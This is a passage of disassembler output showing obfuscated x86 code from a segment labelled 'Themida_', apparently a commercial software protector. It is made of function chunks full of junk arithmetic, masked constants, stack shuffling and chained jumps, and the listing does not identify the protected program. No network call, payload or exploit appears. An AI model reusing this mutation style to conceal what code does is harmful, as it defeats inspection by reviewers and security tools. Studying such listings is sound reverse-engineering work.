; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_56FF8A:				; CODE XREF: sub_5745B5-A468j
		sub	ch, 6Ah
		mov	dh, ch
		pop	ecx
		jmp	loc_5732ED
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56FF95:				; CODE XREF: sub_57146D-95F2j
		sub	al, 67h
		push	dword ptr [esp+0]
		jmp	loc_5717A3
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_56FF9F:				; CODE XREF: sub_56DA43+2Bj
		neg	ecx
		xor	ecx, 10DD3729h
		xchg	ebx, ecx
		neg	ebx
		jmp	loc_570AF0
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_56FFB0:				; CODE XREF: sub_569A75-6D9j
		not	dh
		push	small 2A71h
		mov	[esp+0], bx
		mov	bh, 0B8h
		and	dh, bh
		pop	bx
		push	ecx
		mov	cl, 56h
		neg	cl
		xor	cl, 0DAh
		sub	cl, 6Ch
		xor	dh, cl
		pop	ecx
		jmp	loc_5610AD
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_56FFD3:				; CODE XREF: sub_5690E8+7163j
		add	edi, edx
		add	edi, 4F5D17F7h
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_563CF4
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56FFE3:				; CODE XREF: sub_57549C-1134Aj
		sub	ecx, 0F5F5C29Bh
		sub	eax, ecx
		mov	ecx, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56EE2B
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56FFFF:				; CODE XREF: sub_574656-2E5Fj
		pop	esi
		jmp	loc_568167
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_570005:				; CODE XREF: sub_560CF1-567j
		pop	ebp
		jmp	loc_575132
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_57000B:				; CODE XREF: sub_572669-2D9Bj
		add	esp, 4
		and	ecx, edx
		push	[esp+8+var_8]
		pop	edx
		jmp	loc_560268
; END OF FUNCTION CHUNK	FOR sub_572669

; =============== S U B	R O U T	I N E =======================================



sub_570019	proc near		; CODE XREF: sub_568658+11j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00563DA3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005644E1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005652FD SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00566F8E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005680BB SIZE 00000037 BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], esp
		jmp	loc_563DA3
sub_570019	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_570024:				; CODE XREF: sub_574949-B8EFj
		mov	edx, [esp+8+var_8]
		jmp	loc_571AB4
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_57002C:				; CODE XREF: sub_571F6F+2363j
		not	bl
		neg	bl
		add	bl, 9Bh
		add	bl, 11h
		sub	ah, bl
		pop	ebx
		push	eax
		mov	ah, 0B2h
		push	ecx
		mov	cl, 54h
		or	ah, cl
		pop	ecx
		add	ah, 0A1h
		jmp	loc_569006
; ---------------------------------------------------------------------------


loc_57004A:				; CODE XREF: sub_571F6F-B797j
		add	ch, bl
		jmp	loc_5666FF
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_570051:				; CODE XREF: sub_567D31+Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_564E29
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_570066:				; CODE XREF: sub_56BC97-9B4Bj
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	eax
		jmp	loc_5630ED
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_570075:				; CODE XREF: sub_570732-3D3Dj
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_56F1A9
; END OF FUNCTION CHUNK	FOR sub_570732

; =============== S U B	R O U T	I N E =======================================



sub_570082	proc near		; DATA XREF: Themida_:0055FCECo
		push	dword ptr [edi+40h]
		jmp	loc_55FF9F
sub_570082	endp

; ---------------------------------------------------------------------------


loc_57008A:				; CODE XREF: Themida_:005625C9j
		mov	edx, 1C2770CBh
		shr	edx, 1
		sub	edx, 2510331Eh
		or	edx, 5B475241h
		neg	edx
		add	edx, 0FB47D74Bh
		sub	ebx, 3A137ACFh
		add	ebx, edx
		jmp	loc_5657C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5696A1


loc_5700B2:				; CODE XREF: sub_5696A1+9j
		mov	esi, 358576ECh
		add	edi, esi
		pop	esi
		push	ebp
		mov	ebp, 5BF6308Ch
		add	edi, ebp
		pop	ebp
		add	edi, ecx
		sub	edi, 5BF6308Ch
		jmp	sub_56E126
; END OF FUNCTION CHUNK	FOR sub_5696A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_5700D0:				; CODE XREF: sub_56B1DC-2F19j
		pop	eax
		push	edi
		mov	edi, 10F335D1h
		xor	edi, 1808574Ah
		jmp	loc_560F03
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_5700E2:				; CODE XREF: sub_56102D+6754j
		pop	esp
		mov	[esp-8+arg_4], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 6B8F19F9h
		jmp	loc_56AD68
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_5700F3:				; CODE XREF: sub_5605BC+FF6j
		mov	edx, 0EBC1A24h
		sub	esp, 4
		jmp	loc_56A0A1
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_570103:				; CODE XREF: sub_561418+15BEj
		mov	edi, 4D3903A0h
		xor	edi, 3E557EB6h
		xor	esi, edi
		jmp	loc_56FCF0
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_570115:				; CODE XREF: sub_57549C-6D2Aj
		pop	ecx
		xor	edx, 5E49F8EAh
		xor	ebp, edx
		pop	edx
		push	398Fh
		jmp	loc_570898
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E1B8


loc_570129:				; CODE XREF: sub_56E1B8+5AC7j
		pop	edx
		jmp	loc_564507
; END OF FUNCTION CHUNK	FOR sub_56E1B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_57012F:				; CODE XREF: sub_56AEF2+7A91j
		pop	eax
		jmp	loc_569D08
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_570135:				; CODE XREF: sub_56616D-9E4j
					; sub_5673C3+35B6j ...
		push	6E7Eh
		mov	[esp-14h+arg_10], edi
		sub	esp, 4
		mov	[esp-10h+arg_C], ebx
		push	edx
		mov	edx, 60807FADh
		add	[esp-0Ch+arg_C], edx
		pop	edx
		jmp	loc_56AEFF
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_570153:				; CODE XREF: sub_571088-94E6j
		push	small 2189h
		mov	word ptr [esp+4+var_4],	ax
		push	ecx
		mov	cl, 0FCh
		add	cl, 0D9h
		mov	ah, cl
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xor	ah, 96h
		xor	bl, ah
		pop	ax
		add	bl, 0B7h
		xor	al, bl
		pop	ebx
		push	eax
		mov	ah, 5Ah
		and	ah, 0
		push	bx
		mov	bh, ah
		not	bh
		mov	ah, bh
		pop	bx
		inc	ah
		jmp	loc_562289
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_57018D:				; CODE XREF: sub_56CD13+D1Ej
		mov	edx, 2C912526h
		xor	edx, 31CC385Eh
		shl	edx, 1
		push	ebx
		mov	ebx, 1A122D55h
		or	edx, ebx
		jmp	loc_570670
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_5701A7:				; CODE XREF: sub_5673C3+B10Bj
		xchg	ecx, ebx
		pop	ecx
		jmp	loc_56B0AA
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572805


loc_5701AF:				; CODE XREF: sub_572805+14j
		add	dl, 0D6h
		push	eax
		jmp	loc_56B0B5
; END OF FUNCTION CHUNK	FOR sub_572805
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_5701B8:				; CODE XREF: sub_56651E+85F2j
		mov	ecx, 4
		jmp	loc_56106B
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5701C2:				; CODE XREF: sub_561418+102AAj
		mov	ebp, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, 140C06E5h
		add	edx, 66EB377Fh
		sub	edx, ebp
		jmp	loc_56E67D
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------


loc_5701DE:				; CODE XREF: Themida_:005752EDj
		push	4F7Dh
		mov	[esp], edx
		jmp	loc_56F017
; ---------------------------------------------------------------------------


loc_5701EB:				; CODE XREF: Themida_:00571314j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_562C14
; ---------------------------------------------------------------------------


loc_5701F7:				; CODE XREF: Themida_:0057185Dj
		pop	ebp
		add	edx, 1BED3AB8h
		sub	edx, 3ADF2B90h
		jmp	loc_566A3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_570209:				; CODE XREF: sub_574FC9-262Dj
		shr	edi, 1
		shr	edi, 3
		jmp	loc_56EC80
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_570213:				; CODE XREF: sub_57354D-311Bj
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		add	ecx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	ebx
		jmp	loc_563B00
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_57022E:				; CODE XREF: sub_56E96D-AE1Cj
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_56A170
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3B7


loc_570236:				; CODE XREF: sub_56D3B7-51C7j
		mov	ebx, 4
		jmp	loc_5637CB
; END OF FUNCTION CHUNK	FOR sub_56D3B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_570240:				; CODE XREF: sub_5690E8+6686j
		mov	edx, 115D0B90h
		sub	edi, 4F5D17F7h
		jmp	loc_56FFD3
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572D45


loc_570250:				; CODE XREF: sub_572D45-BB16j
		pop	edx
		push	esi
		mov	esi, 612F312Ah
		xor	ebx, esi
		pop	esi
		mov	ebp, ebx
		pop	ebx
		add	eax, 39737977h
		add	eax, ebp
		sub	eax, 39737977h
		jmp	loc_573DCA
; END OF FUNCTION CHUNK	FOR sub_572D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_57026E:				; CODE XREF: sub_57236D-4B1Dj
		inc	ebx
		add	ebx, 6593776Ch
		sub	ebx, 6EDD2F79h
		add	ecx, ebx
		pop	ebx
		push	3FA2h
		jmp	loc_56DA80
; END OF FUNCTION CHUNK	FOR sub_57236D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_570288:				; CODE XREF: sub_56B577+7A32j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	49F5h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edx
		jmp	loc_561BC5
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_5702BB:				; CODE XREF: sub_563DCB+3A36j
		sub	cl, 0FFh
		dec	cl
		xor	cl, al
		xor	al, cl
		xor	cl, al
		push	cx
		push	edx
		jmp	loc_56AD45
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_5702CE:				; CODE XREF: sub_56628B-36F0j
		mov	ebp, 15B816C0h
		inc	ebp
		sub	ebp, 57C511F1h
		push	edx
		mov	edx, 79E04C6Dh
		push	ebx
		mov	ebx, 41D1176Dh
		and	edx, ebx
		pop	ebx
		add	edx, 4613F1EAh
		jmp	loc_56E341
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5702F4:				; CODE XREF: sub_5685B2-5BD6j
		and	ebp, 62E00690h
		sub	ebp, 0C7129D4h
		jmp	loc_56FEC8
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_570305:				; CODE XREF: sub_565632-4C5Aj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		jmp	loc_56E45D
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_570314:				; CODE XREF: sub_569FB8+3913j
		push	eax
		push	edx
		jmp	loc_56DB6F
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------


loc_57031B:				; CODE XREF: Themida_:00561AC3j
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_561A40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_570330:				; CODE XREF: sub_5620B7+FA83j
		push	ecx
		mov	ch, dl
		push	edx
		mov	dl, ch
		jmp	loc_568B06
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_57033B:				; CODE XREF: sub_560CF1+14447j
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		shr	eax, 8
		jmp	loc_565DBC
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_57034A:				; CODE XREF: sub_57354D-9159j
		mov	[esp+0], esi
		jmp	loc_5717B1
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_570352:				; CODE XREF: sub_569193-3522j
		pop	esp
		push	68AAh
		mov	[esp+0Ch+var_C], esi
		jmp	sub_574304
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_570360:				; CODE XREF: sub_574000-13175j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	esi
		push	[esp+10h+var_C]
		pop	esi
		pop	[esp+10h+var_10]
		pop	esp
		jmp	loc_56FA07
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EB4A


loc_570378:				; CODE XREF: sub_56EB4A+9j
		add	cl, bl
		pop	ebx
		sub	al, cl
		mov	ecx, [esp+0]
		add	esp, 4
		push	[esp-4+arg_0]
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	sub_564C54
; END OF FUNCTION CHUNK	FOR sub_56EB4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_570394:				; CODE XREF: sub_574949-1542j
		pop	dword ptr [edi+eax*4]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_57039C:				; CODE XREF: sub_56B06D+785Ej
		xchg	ecx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], edi
		jmp	loc_572D83
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56189F


loc_5703A8:				; CODE XREF: sub_56189F+9A10j
		mov	ebx, 476451C6h
		mov	edx, ebx
		pop	ebx
		push	ebp
		jmp	loc_56A719
; END OF FUNCTION CHUNK	FOR sub_56189F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_5703B6:				; CODE XREF: sub_564020-3980j
		xor	eax, 4B553D78h
		add	eax, 34B5E9FFh
		mov	edi, eax
		pop	eax
		add	ebx, edi
		pop	edi
		push	dword ptr [eax]
		jmp	loc_56E968
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5703CD:				; CODE XREF: sub_561418+11A66j
		pop	edx
		and	edx, 4E125E05h
		sub	edx, 8C08118Bh
		add	eax, edx
		pop	edx
		mov	esi, [esp+18h+var_18]
		push	esi
		jmp	loc_56287B
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5703E6:				; CODE XREF: sub_5678CB+A42Bj
		sub	al, 0B3h
		sub	bl, 27h
		add	bl, al
		add	bl, 27h
		pop	eax
		push	small 7B8Dh
		mov	[esp+0], dx
		mov	dh, 0CAh
		add	bl, dh
		mov	dx, [esp+0]
		sub	esp, 4
		mov	[esp+2+var_4+2], ecx
		push	esp
		jmp	loc_574FD2
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_57040D:				; CODE XREF: sub_57354D-9E79j
		mov	eax, 526226F1h
		and	eax, 538745EAh
		inc	eax
		inc	eax
		add	eax, 4C1E252Bh
		sub	eax, 0C0F15EF6h
		sub	esi, eax
		push	[esp+4+var_4]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_570213
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------


loc_570437:				; CODE XREF: Themida_:0056E9F1j
		push	42D227Bh
		pop	ebp
		jmp	loc_56BB31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_570442:				; CODE XREF: sub_56E96D-608Bj
		push	eax
		jmp	loc_56D361
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_570448:				; CODE XREF: sub_569CBC+1BBj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+10h+var_10]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	[esp+14h+var_10]
		pop	ebp
		jmp	loc_565890
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_570474:				; CODE XREF: sub_574F16-119E1j
		add	eax, 4
		add	eax, 4
		jmp	loc_574B62
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5736FA


loc_570481:				; CODE XREF: sub_5736FA+17j
		pop	ebp
		sub	eax, edi
		jmp	loc_573662
; END OF FUNCTION CHUNK	FOR sub_5736FA
; ---------------------------------------------------------------------------


loc_570489:				; CODE XREF: Themida_:005609FEj
		push	ebp
		jmp	loc_56DD1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_57048F:				; CODE XREF: sub_57549C-674Ej
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_5739B4
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57199D


loc_57049D:				; CODE XREF: sub_57199D-A20j
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	5934h
		mov	[esp+4+var_4], ecx
		jmp	loc_56C511
; END OF FUNCTION CHUNK	FOR sub_57199D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_5704B4:				; CODE XREF: sub_56AEF2-74D6j
		xor	dl, 9Ch
		push	ebx
		mov	bl, 0C2h
		or	bl, 0C3h
		and	bl, 92h
		add	bl, 0Dh
		add	dl, bl
		jmp	loc_56E831
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5750DE


loc_5704CA:				; CODE XREF: sub_5750DE-DA3Ej
		mov	ecx, [esp+0]
		add	esp, 4
		sub	eax, 538F00CCh
		add	eax, esi
		jmp	loc_56413C
; END OF FUNCTION CHUNK	FOR sub_5750DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5704DF:				; CODE XREF: sub_5685B2+71FCj
		pop	edx
		add	esp, 4
		and	edx, esi
		pop	esi
		push	ebp
		push	ecx
		push	edi
		mov	edi, 6AE836ABh
		mov	ecx, edi
		pop	edi
		mov	ebp, 8D1E8325h
		jmp	loc_56378B
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_5704FE:				; CODE XREF: sub_5738F4+1B94j
		mov	ebp, 79842DE4h
		inc	ebp
		sub	ebp, 6E86318Ah
		not	ebp
		sub	ebp, 0ACC98D09h
		add	edi, ebp
		pop	ebp
		jmp	loc_56D009
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_57051A:				; CODE XREF: sub_5747D7-1054Ej
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	edx
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_568FA7
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_570530:				; CODE XREF: sub_56CC46-B559j
		sub	ecx, 52B20B69h
		jmp	loc_56BEBF
; ---------------------------------------------------------------------------


loc_57053B:				; CODE XREF: sub_56CC46-9064j
		mov	edi, 0FBDFEED5h
		add	ecx, edi
		pop	edi
		add	ebx, ecx
		mov	ecx, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_56CB38
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_57055F:				; CODE XREF: sub_571F6F+6j
		mov	[esp+4+var_4], ebx
		jmp	loc_5669DB
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_570567:				; CODE XREF: sub_561027+AB2Dj
		push	[esp+18h+var_18]
		jmp	loc_56BCF1
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_57056F:				; CODE XREF: sub_564D26+5CEAj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2Ch+var_2C]
		pop	esp
		xor	esi, edi
		mov	edi, [esp+28h+var_28]
		add	esp, 4
		push	ebp
		mov	ebp, esi
		mov	edx, ebp
		pop	ebp
		pop	esi
		mov	ecx, edx
		pop	edx
		sub	[edi+24h], ecx
		push	[esp+1Ch+var_1C]
		pop	ecx
		jmp	loc_5726D1
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_57059C:				; CODE XREF: sub_571890+21DDj
		xor	ecx, 72363463h
		neg	ecx
		jmp	loc_56AF6B
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572D45


loc_5705A9:				; CODE XREF: sub_572D45-BF83j
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		or	[esp-4+arg_0], al
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_572D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_5705BC:				; CODE XREF: sub_56FA44-37B4j
		mov	esi, esp
		add	esi, 4
		jmp	loc_56515C
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_5705C9:				; CODE XREF: sub_572641-D8Ej
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+4+var_4], ebx
		mov	bh, 0D6h
		shr	bh, 4
		push	ecx
		mov	cl, 0CAh
		sub	cl, 0C9h
		add	bh, 0A0h
		sub	bh, cl
		jmp	loc_573441
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_5705ED:				; CODE XREF: sub_56CC46+145Aj
		push	ecx
		mov	ecx, 23383BDBh
		jmp	loc_573F89
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_5705F8:				; CODE XREF: sub_568764+7651j
		xchg	ecx, [esp+8+var_8]
		pop	esp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C295


loc_570601:				; CODE XREF: sub_56C295+4j
		mov	[esp+0], ebx
		mov	ebx, 63D61E34h
		jmp	loc_56078F
; END OF FUNCTION CHUNK	FOR sub_56C295
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_57060E:				; CODE XREF: sub_571F6F-10F3j
		push	eax
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_562CFB
; END OF FUNCTION CHUNK	FOR sub_571F6F

; =============== S U B	R O U T	I N E =======================================



sub_570621	proc near		; DATA XREF: Themida_:0055FF00o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560F14 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056244E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005625D6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056329B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563683 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00564D54 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056533B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566FD7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056859E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C5F1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FF59 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00573160 SIZE 00000007 BYTES

		push	652Dh
		push	esp
		pop	[esp+8+var_8]
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, 74F016Eh
		add	ebp, edx
		sub	ebp, 74F016Eh
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebx
		mov	ebx, 74F60114h
		jmp	loc_564D54
sub_570621	endp

; ---------------------------------------------------------------------------
